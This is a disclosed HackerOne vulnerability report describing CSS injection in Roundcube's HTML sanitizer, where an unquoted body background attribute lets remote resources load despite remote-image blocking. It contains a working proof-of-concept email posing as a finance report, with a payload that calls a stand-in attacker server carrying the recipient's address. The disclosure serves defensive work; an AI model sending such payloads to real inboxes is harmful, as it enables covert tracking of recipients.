Unquoted body background attribute enables CSS injection that bypasses remote image blocking

Disclosed: 2026-04-20 12:03:51 By nullcathedral To nextcloud
Medium
Vulnerability Details
When `allow_remote` is set to `false`, Roundcube's HTML sanitizer [rcube_washtml](https://github.com/roundcube/roundcubemail/blob/4e95ebe12/program/lib/Roundcube/rcube_washtml.php) blocks external resources in image-loading attributes by checking their values through `wash_uri()`. The body callback in [index.php washtml_callback()](https://github.com/roundcube/roundcubemail/blob/4e95ebe12/program/actions/mail/index.php) processes the `background` attribute from the email's `<body>` element and constructs an inline CSS `background-image: url(VALUE)` on the output container `<div>`. The `VALUE` is inserted into the `url()` function **without quoting**. Although `VALUE` passes through `wash_uri()` first (which allows `data:image/*` URIs), a crafted `data:` URI containing `)` terminates the `url()` function early, allowing injection of arbitrary CSS properties into the container's inline style. Because the injected CSS is inline style on the container `<div>` (not inside a `<style>` block), it completely bypasses the `mod_css_styles()` URL callback — meaning injected `background:url(//evil.com)` or `border-image:url(//evil.com)` loads external resources even when `allow_remote=false`. ## Steps To Reproduce ### Step 1: Remote resource loading bypass Send an HTML email with the following body: ```html <!DOCTYPE html> <html> <head><title>Quarterly Report</title></head> <body background="data:image/png,x);background:url(//ATTACKER_SERVER/[email protected]"> <h1>Q4 Financial Summary</h1> <p>Dear team,</p> <p>Please find attached the quarterly financial report.</p> <p>Best regards,<br>Finance Department</p> </body> </html> ``` Step 2: Open the email in Roundcube with "Block remote images" enabled. Step 3: Observe HTTP request to `ATTACKER_SERVER/[email protected]` in attacker's server logs. ### Step 4: Inspect the rendered HTML The sanitizer produces this inline style on the body container `<div>`: ```css background-image: url(data:image/png,x);background:url(//ATTACKER_SERVER/[email protected]) ``` The `)` in `data:image/png,x)` closes the original `url()`, and everything after is parsed as additional CSS properties. ## Impact email open tracking
Actions
View on HackerOne
Report Stats
  • Report ID: 3590583
  • State: Closed
  • Substate: resolved
  • Upvotes: 3
Share this report